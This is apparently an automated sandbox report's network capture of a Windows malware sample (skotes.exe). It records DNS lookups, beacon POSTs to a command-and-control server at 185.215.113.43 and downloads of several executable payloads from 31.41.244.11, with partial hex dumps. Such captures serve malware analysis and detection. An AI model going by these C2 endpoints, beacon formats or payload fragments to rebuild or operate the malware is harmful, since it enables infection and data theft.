Dec 21, 2024 18:17:07.896327019 CET	1.1.1.1	192.168.2.4	0x24f6	No error (0)	treehoneyi.click	172.67.180.113	A (IP address)	IN (0x0001)	false
Dec 21, 2024 18:17:07.896327019 CET	1.1.1.1	192.168.2.4	0x24f6	No error (0)	treehoneyi.click	104.21.91.209	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49753	185.215.113.43	80	7900	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 18:16:05.975287914 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 21, 2024 18:16:07.323606968 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 17:16:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49764	185.215.113.43	80	7900	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 18:16:08.955552101 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 35 42 34 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A75B45A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 21, 2024 18:16:10.327963114 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 17:16:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 64 39 0d 0a 20 3c 63 3e 31 30 31 39 35 32 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 63 37 61 39 64 35 31 34 33 61 36 35 61 65 30 30 33 35 36 34 64 35 62 39 63 64 33 65 39 35 36 62 37 62 35 64 31 23 31 30 31 39 35 32 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 31 37 37 39 62 34 36 34 64 61 63 35 38 65 62 30 33 35 36 34 64 35 62 39 63 64 33 65 39 35 36 62 37 62 35 64 31 23 31 30 31 39 35 32 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 30 37 65 38 30 34 35 34 64 62 30 34 35 65 35 34 30 34 62 35 61 30 64 63 30 39 33 66 36 31 39 62 63 61 39 64 62 35 64 36 30 65 36 36 37 32 35 23 31 30 31 39 35 32 35 [TRUNCATED] Data Ascii: 5d9 <c>1019522001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcc7a9d5143a65ae003564d5b9cd3e956b7b5d1#1019523001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd1779b464dac58eb03564d5b9cd3e956b7b5d1#1019524001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc07e80454db045e5404b5a0dc093f619bca9db5d60e66725#1019525001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1019526001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#1019527001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc770934541bf5dab5e45425197d1aa1daaa8#1019528001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc07e804d03ac52ea484b411b9dc4e1#1019529001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1019530001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1019531001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba [TRUNCATED]
Dec 21, 2024 18:16:10.328011036 CET	124	IN	Data Raw: 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 31 39 35 33 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 Data Ascii: baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1019533001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b
Dec 21, 2024 18:16:10.560276985 CET	328	IN	Data Raw: 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 39 35 33 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 Data Ascii: 8c730804042ba5ce902415450#1019534001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1019535001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbe06d9d4a43ba4ae81c16034799d2e017bfe3d1482b#1019536001+++b5937c1a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49770	31.41.244.11	80	7900	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 18:16:10.689701080 CET	63	OUT	GET /files/geopoxid/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 21, 2024 18:16:12.035659075 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 17:16:11 GMT Content-Type: application/octet-stream Content-Length: 1861632 Last-Modified: Thu, 19 Dec 2024 20:35:58 GMT Connection: keep-alive ETag: "676483ae-1c6800" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 50 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 49 00 00 04 00 00 49 41 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_gPI@IIA@T0h 1 H@.rsrc X@.idata 0Z@ *@\@wekcazboP/^@ttllozcv@I@@.taggant0PI"F@
Dec 21, 2024 18:16:12.035722017 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 21, 2024 18:16:12.035778046 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 21, 2024 18:16:12.035815001 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 21, 2024 18:16:12.035859108 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ~"Q'JZw_Z*4&
Dec 21, 2024 18:16:12.035913944 CET	1236	IN	Data Raw: 1f d4 2a bb a8 93 6d e6 c0 25 31 ef bb 64 3b a6 be 1a f6 bb 39 d1 a0 59 12 03 8b 0c 27 41 96 6e e8 ee e5 cc ab cc d1 ff 25 ee ad 3b e8 34 eb 63 ca 9d af 38 2f fe 22 48 e1 29 a2 e6 d3 96 75 17 60 2e a3 40 03 32 f6 c7 f7 7a 68 db 6a 40 48 f9 e0 7d Data Ascii: *m%1d;9Y'An%;4c8/"H)u`.@2zhj@H}~8o=4QLcNfVUpA9q\|Z-&S2U2zj0:UO5hDsw,![7u +_I+>AJo#gQ;
Dec 21, 2024 18:16:12.035950899 CET	672	IN	Data Raw: 78 9d 12 f4 c9 96 d0 7b ff cb ac 5b bb 4f 0b 45 d0 4f 98 92 97 5f 2f 5a 3e 6c bd 95 24 55 a4 31 ef b8 e8 d5 72 aa 54 5a 24 4f ba 6c 23 95 2b de ce 1a 1c 48 9a 9a e2 3c 25 ea b9 ff 25 8b c7 26 2d cf 73 2f 18 44 5b d1 f8 5a c6 0f 0f 04 ad f6 b9 e9 Data Ascii: x{[OEO_/Z>l$U1rTZ$Ol#+H<%%&-s/D[Zo*ngc<4\]L$?``?fj\|5/Gp'.shOo@b-$EPYfr3sC2wSx\0Bb8&Tpu8wfPIz
Dec 21, 2024 18:16:12.035986900 CET	1236	IN	Data Raw: 3c 06 a1 d0 69 32 bd 7e f2 6b 00 c0 d3 76 b8 22 2d 23 1c d8 a3 78 23 6d e6 cc de 4a ea ac 2b 03 fa 79 79 39 94 bc 84 0f 4a f1 0d be 72 c0 00 35 15 74 8e 6c a2 cf c8 10 76 a2 56 66 b0 f7 dc 51 83 54 2d e1 a8 23 53 51 49 33 eb 22 3a 49 0c 27 ee 6e Data Ascii: <i2~kv"-#x#mJ+yy9Jr5tlvVfQT-#SQI3":I'nI/]>?wZSO\_XoI:Zx/#ueU{y~T2IYdJ\ q1"Bw'P]o'y;?^oI/Tu^y[4GS&o
Dec 21, 2024 18:16:12.036036968 CET	1236	IN	Data Raw: bd 21 3b ce 6d 04 cb 95 56 c0 f7 3d 06 78 a4 f3 ad ce 02 d8 d6 a6 de de b5 31 08 11 6b 8b 81 ae 4b dd bd 0d cd aa 38 ea f3 35 70 c6 a1 2c 1d 57 e9 ce fb 33 2c 03 91 a6 9a 03 f0 0b 0f 72 f0 e1 2a 76 9b cd 62 9b af ab aa 00 cb 39 24 78 bc de e9 6e Data Ascii: !;mV=x1kK85p,W3,r*vb9$xnvxaU%\|yZRH;\|a9`}({ZAf(R7%;gTv#HT"4td-xWr)CbpQ)?<~RRkie^<&F%N5b0
Dec 21, 2024 18:16:12.036073923 CET	448	IN	Data Raw: 9b 49 30 a6 e7 bd 0a 67 13 7b e2 55 1a c8 ff 06 d2 b7 c3 b8 f8 fc ac 23 3d d8 bb f7 30 78 f7 1f ac 3c 22 38 b1 7e 97 d8 ac f7 dc 52 ae 35 56 1b c8 ab df 73 60 2e ee 25 e5 67 9a d6 e8 e4 9c 27 f9 1f 9f 29 7f 55 46 b4 16 9a 98 1d 8d 94 1f 79 40 db Data Ascii: I0g{U#=0x<"8~R5Vs`.%g')UFy@I+z _Z-JJogS!p8\gi?nJ3$nfX::b*]!2QGsh-hhg`f@pTe?,Kk3q"qO
Dec 21, 2024 18:16:12.155817032 CET	1236	IN	Data Raw: 48 72 5a d7 54 06 7c 7b dd 5f 1c 62 fc 5b 0c 53 ea 7c 40 a5 68 9f 94 77 4e 15 16 0d bf 21 16 19 c3 8d 61 d7 60 cd 93 71 3d 33 2b d9 86 ea 2b 1d 3b 37 ba df eb b7 ba 78 c5 b1 ec 16 fc db 39 08 e2 fd 4e e7 90 b1 56 36 b7 e9 4e ec c4 0b 6d d8 4b f2 Data Ascii: HrZT\|{_b[S\|@hwN!a`q=3++;7x9NV6NmK@'UJ\|X_cY+;Ufs411)[K6gFVZ Q1pgP!Z`M8XUl=%NXXXO]tGm#$+l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49786	185.215.113.43	80	7900	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 18:16:17.502876997 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 39 35 32 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019522001&unit=246122658369
Dec 21, 2024 18:16:18.998589993 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 17:16:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49788	31.41.244.11	80	7900	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 18:16:19.122100115 CET	63	OUT	GET /files/zhigarko/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 21, 2024 18:16:20.448914051 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 17:16:20 GMT Content-Type: application/octet-stream Content-Length: 439296 Last-Modified: Sat, 21 Dec 2024 08:14:10 GMT Connection: keep-alive ETag: "676678d2-6b400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd b6 42 53 99 d7 2c 00 99 d7 2c 00 99 d7 2c 00 8d bc 2f 01 94 d7 2c 00 8d bc 29 01 23 d7 2c 00 cb a2 28 01 8b d7 2c 00 cb a2 2f 01 8f d7 2c 00 cb a2 29 01 c0 d7 2c 00 a8 8b d1 00 9b d7 2c 00 8d bc 28 01 8e d7 2c 00 8d bc 2d 01 8a d7 2c 00 99 d7 2d 00 6a d7 2c 00 55 a2 25 01 98 d7 2c 00 55 a2 d3 00 98 d7 2c 00 55 a2 2e 01 98 d7 2c 00 52 69 63 68 99 d7 2c 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 01 33 64 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1d 00 f2 04 00 00 00 02 00 00 00 00 00 27 a0 02 00 00 10 00 00 00 10 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$BS,,,/,)#,(,/,),,(,-,-j,U%,U,U.,Rich,PEL3dg'@0@EE8@<.textj `.rdataHJ@@.datam`,@@.rsrcl@@.relocEFn@B
Dec 21, 2024 18:16:20.448960066 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 50 ca 44 00 e8 87 8d 02 00 59 c3 cc cc cc cc 68 f0 c9 44 00 e8 77 8d 02 00 59 Data Ascii: hPDYhDwYj hEdnF/hDVYj hEtFo/hD6YjhETuFO/hpDYj h$EoF//hDYjhHEL
Dec 21, 2024 18:16:20.449019909 CET	1236	IN	Data Raw: 74 46 00 e8 0f 2f 02 00 68 30 cc 44 00 e8 d6 8c 02 00 59 c3 cc cc cc 6a 24 68 5c d0 45 00 b9 8c 6d 46 00 e8 ef 2e 02 00 68 90 cc 44 00 e8 b6 8c 02 00 59 c3 cc cc cc 6a 00 68 7b ce 45 00 b9 24 75 46 00 e8 cf 2e 02 00 68 f0 cc 44 00 e8 96 8c 02 00 Data Ascii: tF/h0DYj$h\EmF.hDYjh{E$uF.hDYjh{EuF.hPDvYjh{EoF.hDVYjh{EmFo.hD6YjhEnFO.hpDYjhE8xF/.hDY
Dec 21, 2024 18:16:20.449059963 CET	1236	IN	Data Raw: cc cc cc 6a 0c 68 38 d3 45 00 b9 2c 6d 46 00 e8 2f 2a 02 00 68 d0 da 44 00 e8 f6 87 02 00 59 c3 cc cc cc 6a 0c 68 48 d3 45 00 b9 c4 6e 46 00 e8 0f 2a 02 00 68 30 db 44 00 e8 d6 87 02 00 59 c3 cc cc cc 6a 04 68 58 d3 45 00 b9 98 78 46 00 e8 ef 29 Data Ascii: jh8E,mF/hDYjhHEnFh0DYjhXExF)hDYjh`ExF)hDYjhhEuF)hPDvYjhpEwF)hDVYjhxEnFo)hD6YjhE(yFO)
Dec 21, 2024 18:16:20.449096918 CET	1236	IN	Data Raw: 68 10 e9 44 00 e8 36 83 02 00 59 c3 cc cc cc 6a 08 68 4c d5 45 00 b9 bc 76 46 00 e8 4f 25 02 00 68 70 e9 44 00 e8 16 83 02 00 59 c3 cc cc cc 6a 10 68 58 d5 45 00 b9 34 71 46 00 e8 2f 25 02 00 68 d0 e9 44 00 e8 f6 82 02 00 59 c3 cc cc cc 6a 10 68 Data Ascii: hD6YjhLEvFO%hpDYjhXE4qF/%hDYjhlEwF%h0DYjhEyF$hDYjhEluF$hDYj@hEoF$hPDvYjhElrF$hDVYjLh
Dec 21, 2024 18:16:20.449134111 CET	1236	IN	Data Raw: 45 00 b9 74 73 46 00 e8 8f 20 02 00 68 b0 f7 44 00 e8 56 7e 02 00 59 c3 cc cc cc 6a 08 68 cc d9 45 00 b9 34 6e 46 00 e8 6f 20 02 00 68 10 f8 44 00 e8 36 7e 02 00 59 c3 cc cc cc 6a 14 68 d8 d9 45 00 b9 cc 72 46 00 e8 4f 20 02 00 68 70 f8 44 00 e8 Data Ascii: EtsF hDV~YjhE4nFo hD6~YjhErFO hpD~Yj4hEoF/ hD}Yjh(EkF h0D}Yjh0E\vFhD}YjhLEoFhD}YjhXErFhPDv
Dec 21, 2024 18:16:20.449172020 CET	1236	IN	Data Raw: cc cc cc cc cc cc cc 55 8b ec 8b 4d 08 8d 45 10 50 51 ff 75 0c e8 ad ff ff ff 83 c4 0c 5d c3 cc cc cc cc cc cc cc cc 55 8b ec 8b 45 0c 5d c3 cc cc cc cc cc cc cc cc 55 8b ec 83 ec 0c a1 24 61 46 00 33 c5 89 45 fc 8b 55 08 8d 45 f4 56 8b f1 89 55 Data Ascii: UMEPQu]UE]U$aF3EUEVUNEQW$EPfM3^r]UVWFP$EfEP^]A$EPYI<EEUVF$
Dec 21, 2024 18:16:20.449208975 CET	1120	IN	Data Raw: fc 01 8d 55 b0 83 7d c4 10 8b 4d c0 0f 43 55 b0 8b 45 dc 8b 75 d8 2b c6 89 4d e0 51 52 3b c8 77 25 83 7d dc 10 8d 04 0e 89 45 d8 8d 45 c8 0f 43 45 c8 03 f0 56 e8 39 85 02 00 8b 45 e0 83 c4 0c c6 04 06 00 eb 10 c6 45 e0 00 ff 75 e0 51 8d 4d c8 e8 Data Ascii: U}MCUEu+MQR;w%}EECEV9EEuQM)Ur,MBrI#+RQRtMM$E~EfEW}f~fGMCEGEPEEPMEU0Er(MB
Dec 21, 2024 18:16:20.449249029 CET	1236	IN	Data Raw: e8 79 50 02 00 83 c4 08 85 c0 75 07 5e 8b e5 5d c2 08 00 51 8b ce e8 28 00 00 00 68 90 ce 45 00 8d 4d f0 e8 5b f9 ff ff 68 0c 44 46 00 8d 45 f0 50 e8 63 80 02 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 80 85 44 00 64 a1 00 00 00 Data Ascii: yPu^]Q(hEM[hDFEPcUjhDdPV$aF3PEdVEOjVoMdY^]U$aF3EjEPjhTFEtx}t_d,F;~-hF6j
Dec 21, 2024 18:16:20.449290037 CET	1236	IN	Data Raw: 8b ec 6a ff 68 2d 86 44 00 64 a1 00 00 00 00 50 56 a1 24 61 46 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 8b 75 08 89 75 08 c7 45 fc 00 00 00 00 8b ce 8b 06 ff 50 04 8b 06 8b ce 6a 01 ff 10 8b 4d f4 64 89 0d 00 00 00 00 59 5e 8b e5 5d c3 cc 55 8b ec Data Ascii: jh-DdPV$aF3PEduuEPjMdY^]UEV<EtjV<k^]Vqt%WFu~Ou_^`_^UQMahpEFEPzUVWFP$EfEP~x
Dec 21, 2024 18:16:20.569288969 CET	1236	IN	Data Raw: c7 43 0c 00 00 00 00 8b 51 04 8b 41 08 89 55 fc 3b d0 74 2d 57 2b c2 8d 4b 04 8b f8 89 45 f8 c1 ff 02 57 e8 f3 06 02 00 ff 75 f8 8b 73 04 ff 75 fc 56 e8 34 77 02 00 83 c4 0c 8d 0c be 89 4b 08 5f 5e 8b c3 5b 8b e5 5d c2 04 00 55 8b ec 83 ec 08 56 Data Ascii: CQAU;t-W+KEWusuV4wK_^[]UVWMw;tCA+MEFS+;vQ'uuSvMN[_^]UjhDdP$aF3PEd'MdY]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49802	185.215.113.43	80	7900	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 18:16:23.926666021 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 39 35 32 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019523001&unit=246122658369
Dec 21, 2024 18:16:25.263499022 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 17:16:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49808	31.41.244.11	80	7900	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 18:16:25.386630058 CET	68	OUT	GET /files/kardanvalov88/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 21, 2024 18:16:26.712439060 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 17:16:26 GMT Content-Type: application/octet-stream Content-Length: 605696 Last-Modified: Thu, 12 Dec 2024 15:01:10 GMT Connection: keep-alive ETag: "675afab6-93e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4d 93 ba 99 09 f2 d4 ca 09 f2 d4 ca 09 f2 d4 ca 42 8a d7 cb 0c f2 d4 ca 42 8a d1 cb b6 f2 d4 ca 19 76 d7 cb 03 f2 d4 ca 19 76 d0 cb 18 f2 d4 ca 42 8a d2 cb 08 f2 d4 ca 19 76 d1 cb 63 f2 d4 ca 52 9a d5 cb 0b f2 d4 ca 42 8a d0 cb 12 f2 d4 ca 42 8a d5 cb 18 f2 d4 ca 09 f2 d5 ca cf f2 d4 ca 42 77 dd cb 0c f2 d4 ca 42 77 2b ca 08 f2 d4 ca 09 f2 43 ca 08 f2 d4 ca 42 77 d6 cb 08 f2 d4 ca 52 69 63 68 09 f2 d4 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 31 b5 31 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 29 00 ee 06 00 00 6c 02 00 00 00 00 00 0c 32 04 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$MBBvvBvcRBBBwBw+CBwRichPEd11g")l2@``HtLpp(@@.text> `.rdatad@@.data;@.pdatatLN@@.rsrcH`,@@.relocp2@B
Dec 21, 2024 18:16:26.712472916 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 55 48 8d ac 24 50 fe ff ff 48 81 ec b0 02 00 00 0f 57 c0 0f 11 44 24 30 0f 57 Data Ascii: @UH$PHWD$0WfL$@A H)HL$0g4WD$PWfL$`AHHL$P>4WD$pWfMA HHL$p4WEWfMAHHM3WEWf
Dec 21, 2024 18:16:26.712491035 CET	1236	IN	Data Raw: 48 8d 4d b0 e8 fa 2f 02 00 90 0f 57 c0 0f 11 45 d0 0f 57 c9 66 0f 7f 4d e0 41 b8 21 00 00 00 48 8d 15 dd a9 07 00 48 8d 4d d0 e8 d4 2f 02 00 90 0f 57 c0 0f 11 45 f0 0f 57 c9 66 0f 7f 4d 00 41 b8 20 00 00 00 48 8d 15 07 a8 07 00 48 8d 4d f0 e8 ae Data Ascii: HM/WEWfMA!HHM/WEWfMA HHM/WEWfM A!HHM/WE0WfM@A HHM0b/WEPWfM`A!HHMP</WEpWfA HHMp/W
